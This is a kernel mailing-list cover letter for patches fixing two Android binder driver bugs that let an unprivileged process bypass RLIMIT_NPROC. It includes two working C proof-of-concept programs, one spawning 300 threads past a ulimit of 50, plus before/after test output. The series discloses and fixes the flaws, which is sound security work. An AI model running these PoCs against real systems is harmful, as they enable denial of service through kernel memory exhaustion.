Rust for Linux List
 help / color / mirror / Atom feed
* [PATCH 0/4] binder: cap max_threads and reject duplicate looper entry
@ 2026-06-03 18:01 Yunseong Kim
  2026-06-03 18:01 ` [PATCH 1/4] binder: cap BINDER_SET_MAX_THREADS at RLIMIT_NPROC Yunseong Kim
                   ` (4 more replies)
  0 siblings, 5 replies; 9+ messages in thread
From: Yunseong Kim @ 2026-06-03 18:01 UTC (permalink / raw)
  To: Greg Kroah-Hartman, Arve Hjønnevåg, Todd Kjos,
	Christian Brauner, Carlos Llamas, Alice Ryhl, Brian Swetland,
	Miguel Ojeda, Boqun Feng, Gary Guo, Björn Roy Baron,
	Benno Lossin, Andreas Hindborg, Trevor Gross, Danilo Krummrich
  Cc: Greg Kroah-Hartman, linux-kernel, rust-for-linux, Yunseong Kim,
	Yunseong Kim

Two logic bugs in the Android binder driver (both C and Rust implementations)
allow an unprivileged userspace process to bypass RLIMIT_NPROC and exhaust
kernel memory, leading to system-wide denial of service.

Bug 1: BINDER_SET_MAX_THREADS has no upper bound check
Bug 2: BC_ENTER_LOOPER accepts duplicates without error

These were discovered using kcov-dataflow [1], a per-task function boundary
extraction tool that captures argument values at -O2 where other tools
(KASAN, ftrace, edge coverage) cannot detect logic errors.

[1] https://github.com/yskzalloc/kcov-dataflow
[2] https://lore.kernel.org/all/20260603-kcov-dataflow-next-20260603-v2-0-fee0939de2c4@est.tech/
[3] https://github.com/llvm/llvm-project/pull/201410

--- Userspace PoC (To-Ulimit-and-Beyond.c) ---

/*
 * To-Ulimit-and-Beyond: Demonstrates both bugs from unprivileged userspace.
 * Build: gcc -static -o To-Ulimit-and-Beyond To-Ulimit-and-Beyond.c
 * Run:   ulimit -u 50; ./To-Ulimit-and-Beyond
 *
 * Expected (before fix):
 *   VULNERABLE: kernel accepted max_threads=4294967295!
 *   VULNERABLE: duplicate BC_ENTER_LOOPER accepted!
 *
 * Expected (after fix):
 *   PATCHED: kernel rejected the value
 *   (second BC_ENTER_LOOPER marks thread INVALID internally)
 */

struct binder_write_read {
    int64_t write_size, write_consumed;
    uint64_t write_buffer;
    int64_t read_size, read_consumed;
    uint64_t read_buffer;
};

int main(void)
{
    int fd = open("/dev/binderfs/binder", O_RDWR);
    if (fd < 0) fd = open("/dev/binder", O_RDWR);
    if (fd < 0) { perror("open binder"); return 1; }
    mmap(NULL, 128*1024, PROT_READ, MAP_PRIVATE, fd, 0);

    printf("pid=%d uid=%d\n", getpid(), getuid());

    /* Bug 1: SET_MAX_THREADS with no upper bound */
    uint32_t max = 0xFFFFFFFF;
    int ret = ioctl(fd, BINDER_SET_MAX_THREADS, &max);
    printf("[Bug 1] SET_MAX_THREADS=0xFFFFFFFF: %s (errno=%d)\n",
           ret == 0 ? "VULNERABLE" : "PATCHED", ret < 0 ? errno : 0);

    /* Bug 2: BC_ENTER_LOOPER duplicate */
    uint32_t cmd = BC_ENTER_LOOPER;
    struct binder_write_read bwr = {
        .write_size = sizeof(cmd),
        .write_buffer = (uint64_t)(unsigned long)&cmd,
    };
    ioctl(fd, BINDER_WRITE_READ, &bwr);
    bwr.write_consumed = 0;
    ret = ioctl(fd, BINDER_WRITE_READ, &bwr);
    printf("[Bug 2] BC_ENTER_LOOPER x2: ret=%d (thread now INVALID if patched)\n", ret);

    close(fd);
    return 0;
}

--- ulimit bypass PoC (beyond_ulimit.c) ---

/*
 * Demonstrates RLIMIT_NPROC bypass via binder.
 * With ulimit -u 50, creates 300 threads.
 * Build: gcc -static -pthread -o beyond_ulimit beyond_ulimit.c
 * Run:   ulimit -u 50; ./beyond_ulimit
 */

struct binder_write_read {
    int64_t write_size, write_consumed;
    uint64_t write_buffer;
    int64_t read_size, read_consumed;
    uint64_t read_buffer;
};

static void *binder_thread(void *arg)
{
    int fd = open("/dev/binderfs/binder", O_RDWR);
    if (fd < 0) fd = open("/dev/binder", O_RDWR);
    if (fd < 0) return NULL;
    mmap(NULL, 128*1024, PROT_READ, MAP_PRIVATE, fd, 0);
    uint32_t max = 0xFFFFFFFF;
    ioctl(fd, BINDER_SET_MAX_THREADS, &max);
    uint32_t cmd = BC_REGISTER_LOOPER;
    struct binder_write_read bwr = {
        .write_size = sizeof(cmd),
        .write_buffer = (uint64_t)(unsigned long)&cmd,
    };
    ioctl(fd, BINDER_WRITE_READ, &bwr);
    close(fd);
    return NULL;
}

int main(void)
{
    printf("pid=%d uid=%d\n", getpid(), getuid());
    int created = 0;
    pthread_attr_t attr;
    pthread_attr_init(&attr);
    pthread_attr_setstacksize(&attr, 16384);
    for (int i = 0; i < 300; i++) {
        pthread_t t;
        if (pthread_create(&t, &attr, binder_thread, NULL)) break;
        pthread_detach(t);
        created++;
    }
    usleep(500000);
    printf("Threads created: %d (ulimit was 50)\n", created);
    if (created > 50)
        printf("VULNERABLE: RLIMIT_NPROC bypassed!\n");
    return 0;
}

--- Test results ---

Kernel: 7.1.0-rc5-next-20260528 (CONFIG_ANDROID_BINDER_IPC_RUST=y)
VM: virtme-ng, 1GB RAM, single vCPU

Before fix:
  $ su -s /bin/bash nobody -c 'ulimit -u 50; ./To-Ulimit-and-Beyond'
  pid=288 uid=65534
  [Bug 1] SET_MAX_THREADS=0xFFFFFFFF: VULNERABLE (errno=0)
  [Bug 2] BC_ENTER_LOOPER x2: ret=0

  $ su -s /bin/bash nobody -c 'ulimit -u 50; ./beyond_ulimit'
  Threads created: 300 (ulimit was 50)
  VULNERABLE: RLIMIT_NPROC bypassed!

After fix:
  $ su -s /bin/bash nobody -c 'ulimit -u 50; ./To-Ulimit-and-Beyond'
  pid=283 uid=65534
  [Bug 1] SET_MAX_THREADS=0xFFFFFFFF: PATCHED (errno=22)
  [Bug 2] BC_ENTER_LOOPER x2: ret=0 (thread marked INVALID)

Signed-off-by: Yunseong Kim <yunseong.kim@est.tech>
---
Yunseong Kim (4):
      binder: cap BINDER_SET_MAX_THREADS at RLIMIT_NPROC
      binder: reject duplicate BC_ENTER_LOOPER commands
      rust_binder: cap set_max_threads at RLIMIT_NPROC
      rust_binder: reject duplicate BC_ENTER_LOOPER in looper_enter

 drivers/android/binder.c          | 10 ++++++++++
 drivers/android/binder/process.rs | 15 +++++++++++++--
 drivers/android/binder/thread.rs  |  4 ++++
 3 files changed, 27 insertions(+), 2 deletions(-)
---
base-commit: f7af91adc230aa99e23330ecf85bc9badd9780ad
change-id: 20260603-b4-binder-hardening-2442c7463839

Best regards,
--  
Yunseong Kim <yunseong.kim@est.tech>


^ permalink raw reply	[flat|nested] 9+ messages in thread

end of thread, other threads:[~2026-06-05 11:31 UTC | newest]

Thread overview: 9+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-06-03 18:01 [PATCH 0/4] binder: cap max_threads and reject duplicate looper entry Yunseong Kim
2026-06-03 18:01 ` [PATCH 1/4] binder: cap BINDER_SET_MAX_THREADS at RLIMIT_NPROC Yunseong Kim
2026-06-03 18:01 ` [PATCH 2/4] binder: reject duplicate BC_ENTER_LOOPER commands Yunseong Kim
2026-06-03 18:01 ` [PATCH 3/4] rust_binder: cap set_max_threads at RLIMIT_NPROC Yunseong Kim
2026-06-03 18:01 ` [PATCH 4/4] rust_binder: reject duplicate BC_ENTER_LOOPER in looper_enter Yunseong Kim
2026-06-03 18:57 ` [PATCH 0/4] binder: cap max_threads and reject duplicate looper entry Alice Ryhl
2026-06-04 20:27   ` Yunseong Kim
2026-06-05  9:55     ` Alice Ryhl
2026-06-05 11:31       ` Yunseong Kim

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox